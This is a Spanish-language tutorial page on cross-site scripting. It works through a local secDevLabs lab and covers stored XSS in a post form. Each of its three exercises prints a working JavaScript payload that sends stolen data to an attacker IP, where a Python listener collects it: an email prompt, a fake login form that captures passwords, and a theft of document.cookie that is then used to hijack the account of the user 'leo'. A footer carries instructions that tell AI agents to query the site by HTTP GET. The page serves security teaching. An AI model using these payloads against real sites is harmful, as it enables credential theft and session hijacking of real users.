# XSS

Una vulnerabilidad **XSS** (**Cross-Site Scripting**) es un tipo de vulnerabilidad de seguridad informática que permite a un atacante ejecutar código malicioso en la página web de un usuario sin su conocimiento o consentimiento. Esta vulnerabilidad permite al atacante robar información personal, como nombres de usuario, contraseñas y otros datos confidenciales.

En esencia, un ataque XSS implica la inserción de código malicioso en una página web vulnerable, que luego se ejecuta en el navegador del usuario que accede a dicha página. El código malicioso puede ser cualquier cosa, desde scripts que redirigen al usuario a otra página, hasta secuencias de comandos que registran pulsaciones de teclas o datos de formularios y los envían a un servidor remoto.

​

Nos vamos a montar un laboratorio con este repositorio de [**GITHUB**](https://github.com/globocom/secDevLabs)

<figure><img src="/files/GsxAfStSAhExxcgOVLLr" alt=""><figcaption></figcaption></figure>

Ya con el laboratorio montano nos monta un server por el puerto 10007 donde tenemos un panel de login y registro.

Crearemos dod usuarios uno rodgar y otro leo, esto lo hacemos para en nuestras practicas le robaremos la cookie de sessions al usuario leo.

<figure><img src="/files/GwrbNmD7ChAp7Q2EPRvy" alt=""><figcaption></figcaption></figure>

Creamos a rogdra y luego a leo.

<figure><img src="/files/c3foqa8d5gME1CZPaBGk" alt=""><figcaption></figcaption></figure>

Nos logueamos como rodgar y la tipica con este pequeño codigo ver si es vulnerable a XSS.

<figure><img src="/files/qzsTRSByrIGhuBZFrDOX" alt=""><figcaption></figcaption></figure>

Cuando entramos al POST nos sale el alert, esto quiere decir que si es vulnerable a XSS, ahora vamos a seguir con un poco mas de cosas.

\---------------------------------------------------------------------------------------------------------------------

Ejercicio uno en este ejercicio le robaremos el correo electronico a un usuario el que vea el POST que posteamos.

```javascript
<script>
    var email = prompt("Por favor, introduce el correo electrónico para visualizar el post", "example@gmail.com");

    if (email == null || email === "") {
        alert("Es necesario introducir un correo electrónico para visualizar el post");
    } else {
        fetch("http://192.168.1.179/?email=" + email)
            .then(response => {
                if (!response.ok) {
                    throw new Error('Error en la solicitud');
                }
                // Aquí puedes manejar la respuesta si es necesario
                // Por ejemplo, response.json() para leer datos JSON
                console.log('Solicitud exitosa');
            })
            .catch(error => {
                console.error('Error en la solicitud:', error);
            });
    }
</script>
```

<figure><img src="/files/bzOf2LYtRBvtLF5Tc3Ql" alt=""><figcaption></figcaption></figure>

Vamos a introducir este pequeño codigo en donde se nos permite y nos lo interpreta donde le pedira ah cualquier usuario que para visualizar el POST debe proporcinar un correo electronico.

Y posteamos.

<figure><img src="/files/ZC33twNiOJcrl1a1PnVh" alt=""><figcaption></figcaption></figure>

Seguidamente si intentamos abrir el POST nos dice que Por favor, introducir correo electronico para visualizar el POST.

<figure><img src="/files/HWPaj3NaSmqnAahU8HiJ" alt=""><figcaption></figcaption></figure>

Ya habiendo estado en escucha con python el correo que la persona escriba nos lo enviara a nostros y asi habriamos hecho con su correo.

\---------------------------------------------------------------------------------------------------------------------

En este siguiente ejercicio robaremos correo y contraseña que para visualizar el POST debe proporcionar correo y contraseña.

El script sera el siguiente

```javascript
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Iniciar Sesión</title>
</head>
<body>

<div style="max-width: 300px; margin: 0 auto; text-align: center;">
    <h2>Iniciar Sesión</h2>
    <div>
        <input type="text" id="username" placeholder="Usuario">
    </div>
    <div>
        <input type="password" id="password" placeholder="Contraseña">
    </div>
    <button onclick="enviarCredenciales()">Iniciar Sesion</button>
</div>

<script>
    function enviarCredenciales() {
        var username = document.getElementById('username').value;
        var password = document.getElementById('password').value;

        if (username === "" || password === "") {
            alert("Por favor, completa ambos campos.");
            return;
        }

        // solicitud GET
        fetch(`http://192.168.1.179/?username=${username}&password=${password}`)
        .then(response => {
            if (!response.ok) {
                throw new Error('Error en la solicitud');
            }
            console.log('Solicitud exitosa');
        })
        .catch(error => {
            console.error('Error en la solicitud:', error);
        });
    }
</script>

</body>
</html>
```

<figure><img src="/files/BgoRIDjeqitb6gEDRgUu" alt=""><figcaption></figcaption></figure>

Pegamos el codigo donde se nos permite introducir datos.

<figure><img src="/files/nSIbuHmLWGFYOqHMfFrk" alt=""><figcaption></figcaption></figure>

Luego si intentamos observar el POST nos dice que es necesario iniciar session. Si la persona introduce datos se nos enviara a nostros a nuestro servidor.

<figure><img src="/files/Oe6PWseaX1soZdAimzVW" alt=""><figcaption></figcaption></figure>

Estando en escucha con python3 recivimos la info que el usuario habria introducido para ver el POST, en este caso le hemos robado su correo y contraseña.

\---------------------------------------------------------------------------------------------------------------------

***Ejercicio tres, en este caso en vez de robar correos y contraseñas le robaremos la Cookie de sesion al usuario leo.***

<figure><img src="/files/UDMEpE4Fhl1V3pEfIJcx" alt=""><figcaption></figcaption></figure>

Para que esta vulnerabilidad se pueda acontecer el el HTTPOnly del navegador de la victima si esta en false nos enviaria su cookie de lo contrario no.

```javascript
<script>
	var request = new XMLHttpRequest();
	request.open('GET', 'http://192.168.1.179/?cookie=' + document.cookie);
	request.send();
</script>
```

Un codigo simple&#x20;

<figure><img src="/files/lwnB0YbJTBb2fBoh4b0R" alt=""><figcaption></figcaption></figure>

Pegamos el codigo y hacemos el POST la idea aca es robarle la cookie de session al usuario leo y pasar de ser el usuario rodgar a la cuenta de leo.

<figure><img src="/files/1s5OcvCZXj6GmfnJ49Xa" alt=""><figcaption></figcaption></figure>

Luego si nos ponemos en escucha con python3 y el usuario le pica al POST nos envia su cookie de sesion que este caso esta Cookie es del usuario leo.

<figure><img src="/files/7kPukMvpos8w1I2RPNUA" alt=""><figcaption></figcaption></figure>

Teniendo la Cookie del usuario leo y estando en la session actual que somos rodgar si nos vamos y inspeccionamos y en la cookie el valor que tenemos que es del usuario rodgar y pegamos la nueva cookie que tenemos y recargamos la pagina; observamremos que seguimos siendo el usario rodgar.

<figure><img src="/files/6Cy6EYwDr1c3BYPnfSfq" alt=""><figcaption></figcaption></figure>

Pero ahora si hacemos un nuevo POST ya con la cookie reemplazada que usuario crees que seremos leo o rodgar.

<figure><img src="/files/FfEtO13l9djYugV4ioCn" alt=""><figcaption></figcaption></figure>

* Si nos vamos al ultimo POST que era quien soy nos pone que ahora somos leo y no el usuario rodgar, Porque Porque hemos obtenido la cookie de session del usuario leo y la hemos reemplazado en el storage del navegador.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rodgar.gitbook.io/rodgar/othe/owasp-top-10/xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
